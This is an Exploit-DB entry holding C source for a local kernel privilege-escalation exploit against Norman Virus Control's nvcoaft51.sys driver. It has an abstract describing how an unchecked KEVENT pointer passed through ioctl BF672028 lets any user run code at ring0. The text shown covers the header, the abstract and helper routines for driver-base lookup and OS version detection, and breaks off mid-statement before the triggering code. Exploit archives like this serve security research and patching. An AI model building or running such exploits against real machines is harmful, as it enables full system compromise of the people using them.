Exploit-DB #4345
Description: Norman Virus Control - 'nvcoaft51.sys' ioctl BF672028
Type: local
Platform: windows
Date: 2007-08-30
Author: inocraM

Exploit:
/*
  Norman Virus Control nvcoaft51.sys ioctl BF672028 exploit


  Abstract
  nvcoaft51.sys driver receive as parameter in some ioctl's
  a pointer to a KEVENT struct, calling KeSetEvent without
  any prior check. 
  The device created by the driver (NvcOa) can be opened by 
  any user.
  As result, a user can send a IOCTL with a fake KEVENT 
  struct and finish executing code at ring0

  Author
  inocraM - inocram[at]48bits[dot]com
  48bits I+D team
  www.48bits.com

  OS
  Tested against Windows XP SP2 (spanish) with a PAE kernel.
  
  For educational purposes ONLY

*/

#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>

#define XPLT_KEVENT_IOCTL             0xbf672028 


/* PSAPI */
typedef BOOL  (WINAPI * ENUM_DEVICE_DRIVERS)(LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded);
typedef DWORD (WINAPI * GET_DEVICE_DRIVER_BASE_NAME)(LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize);

typedef struct _PS
{
  HMODULE hLib;
  ENUM_DEVICE_DRIVERS pEnumDeviceDrivers;
  GET_DEVICE_DRIVER_BASE_NAME pGetDeviceDriverBaseName;
}PS, *PPS;


VOID
psUnload(PPS pps)
{
  if(pps)
  {
    if(pps->hLib)
    {
      FreeLibrary(pps->hLib);
    }
    free(pps);
  }
}

PPS
psLoad()
{
  PPS pps;

  pps = (PPS) malloc(sizeof(PS));
  if(pps)
  {
    pps->hLib = LoadLibraryA("psapi");
    if(pps->hLib)
    {
      pps->pEnumDeviceDrivers = (ENUM_DEVICE_DRIVERS)GetProcAddress(pps->hLib, "EnumDeviceDrivers");
      pps->pGetDeviceDriverBaseName = (GET_DEVICE_DRIVER_BASE_NAME)GetProcAddress(pps->hLib,"GetDeviceDriverBaseNameA");
      if(!pps->pEnumDeviceDrivers || !pps->pGetDeviceDriverBaseName)
      {
        psUnload(pps);
        pps = NULL;
      }
    }
    else
    {
      free(pps);
      pps = NULL;
    }
  }
  return pps;
}


BOOL  
psEnumDeviceDrivers(PPS pps, LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded)
{
  return pps->pEnumDeviceDrivers(lpImageBase, cb, lpcbNeeded);
}

DWORD 
psGetDeviceDriverBaseName(PPS pps, LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize)
{
  return pps->pGetDeviceDriverBaseName(ImageBase, lpBaseName, nSize);
}

LPVOID
psGetImageBaseByBaseName(PPS pps, LPCSTR szName)
{
  DWORD dwSize = 0;
  LPVOID *pDevices = NULL;
  LPVOID pResult = NULL;

  if(psEnumDeviceDrivers(pps, NULL, 0, &dwSize) && (dwSize > 0))
  {
    pDevices = (LPVOID*)malloc(dwSize);
    if(pDevices)
    {
      if(psEnumDeviceDrivers(pps, pDevices, dwSize, &dwSize))
      {
        DWORD i = 0;
        DWORD dwNumberOfDrivers;

        dwNumberOfDrivers = dwSize / sizeof(LPVOID);
        while((i < dwNumberOfDrivers) && (NULL == pResult))
        {
          char szBaseName[MAX_PATH];

          if(psGetDeviceDriverBaseName(pps, pDevices[i], szBaseName, sizeof(szBaseName)))
          {
            if(!_stricmp(szBaseName,szName))
            {
              pResult = pDevices[i];
            }
          }
          i++;
        }
      }
      free(pDevices);
    }
  }
  return pResult;
}

/* OS detection */
#define OS_VERSION_UNKNOWN      0x00000000
#define OS_VERSION_NT           0x00010000
#define OS_VERSION_9X           0x00020000
#define OS_VERSION_WIN32S       0x00030000
#define OS_VERSION_NT4          OS_VERSION_NT + 0x00001000
#define OS_VERSION_2K           OS_VERSION_NT + 0x00002000
#define OS_VERSION_XP           OS_VERSION_NT + 0x00003000
#define OS_VERSION_2K3          OS_VERSION_NT + 0x00004000
#define OS_VERSION_VISTA        OS_VERSION_NT + 0x00005000
#define OS_VERSION_95           OS_VERSION_9X + 0x00001000
#define OS_VERSION_98           OS_VERSION_9X + 0x00002000
#define OS_VERSION_ME           OS_VERSION_9X + 0x00003000


DWORD
GetWindows9xVersion(POSVERSIONINFOEXA posvi)
{
  DWORD dwVersion;

  if(posvi->dwMajorVersion == 4)
  {
    switch(posvi->dwMinorVersion)
    {
    case 0:
      dwVersion = OS_VERSION_95;
      break;
    case 10:
      // TODO : we need extra code. this can be Windows ME
      dwVersion = OS_VERSION_98;
      break;
    case 90:
      dwVersion = OS_VERSION_ME;
      break;
    default:
      dwVersion = OS_VERSION_UNKNOWN;
    }
  }
  else
  {
    dwVersion = OS_VERSION_UNKNOWN;
  }
  return dwVersion;
}


DWORD
GetWindowsNtVersion(POSVERSIONINFOEXA posvi, PUINT pServicePack)
{
  DWORD dwVersion;

  switch(posvi->dwMajorVersion)
  {
  case 6: 
    dwVersion = OS_VERSION_VISTA;
    break;
  case 5:
    switch(posvi->dwMinorVersion)
    {
    case 2:
      dwVersion = OS_VERSION_2K3;
      break;
    case 1:
      dwVersion = OS_VERSION_XP;
      break;
    case 0:
      dwVersion = OS_VERSION_2K;
      break;
    default:
      dwVersion = OS_VERSION_UNKNOWN;
    }
    break;
  case 4:
  case 3:
  case 2:
  case 1:
  case 0:
    dwVersion = OS_VERSION_NT4;
    break;
  default:
    dwVersion = OS_VERSION_UNKNOWN;
  }

  // TODO : dont work correctly in various windows Versions. fix it.
  if((OS_VERSION_UNKNOWN != dwVersion) && (NULL != pServicePack))
  {
    if(sizeof(OSVERSIONINFOEXA) == posvi->dwOSVersionInfoSize)
    {
      (*pServicePack) = posvi->wServicePackMajor;
    }
    else
    {
      // TODO : parse szCSDVersion
    }
  }
  return dwVersion;
}

// TODO : doesnt find correct SP for various windows versions, fix! 
DWORD
GetWindowsVersionBase(PUINT pServicePack)
{
  OSVERSIONINFOEXA osvi;
  DWORD dwVersion;

  if(pServicePack)
  {
    (*pServicePack) = 0;
  }
  memset(&osvi, 0, sizeof(OSVERSIONINFOEXA));
  osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA);
  if(FALSE == GetVersionExA((LPOSVERSIONINFOA)&osvi))
  {
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
    if(!GetVersionExA((LPOSVERSIONINFOA)&osvi))
    {
      return OS_VERSION_UNKNOWN;
    }
  }
  switch(osvi.dwPlatformId)
  {
  case VER_PLATFORM_WIN32_NT:
    dwVersion = GetWindowsNtVersion(&osvi, pServicePack);
    bre